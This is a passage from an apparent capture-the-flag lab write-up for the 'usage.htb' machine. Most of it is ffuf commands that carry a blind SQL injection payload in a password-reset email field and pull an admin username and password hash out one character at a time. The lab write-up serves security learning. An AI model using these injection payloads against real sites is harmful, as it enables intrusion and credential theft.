  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT SUBSTRING(username,"$c",1) FROM admin_users LIMIT 0,1)= 'FUZZ' -- -" \
  -w regular_chars.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

First Username character 2

export c=2
ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT SUBSTRING(username,"$c",1) FROM admin_users LIMIT 0,1)= 'FUZZ' -- -" \
  -w regular_chars.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

First Username Guess

We think that the username is admin, we’ll create a file with admin text.

echo admin > admin.txt
ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT username FROM admin_users LIMIT 0,1)= 'FUZZ' -- -" \
  -w admin.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

First Password Char 1 (the password of first username)

For passwords, we need to update out chars.txt to includes chars available in hashes

printf "%s\n" {a..z} {A..Z} {0..9} _ @ . : / - '!' '$' '%' '&' '*' > chars.txt

We’ll export our c variable to 1 to find the first char

export c=1

and change SELECT SUBSTRING(username,“$c”,1) (case insensitive) —>with SELECT BINARY SUBSTRING(password,“$c”,1) (case sensitive)

We cannot adjust the threads, if we use more than 1, w get nothing.

We also added the BINARY function to make the comparaison case sensitive.

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT BINARY (SUBSTRING(password,"$c",1)) FROM admin_users LIMIT 0,1)= BINARY('FUZZ') -- -" \
  -w chars.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"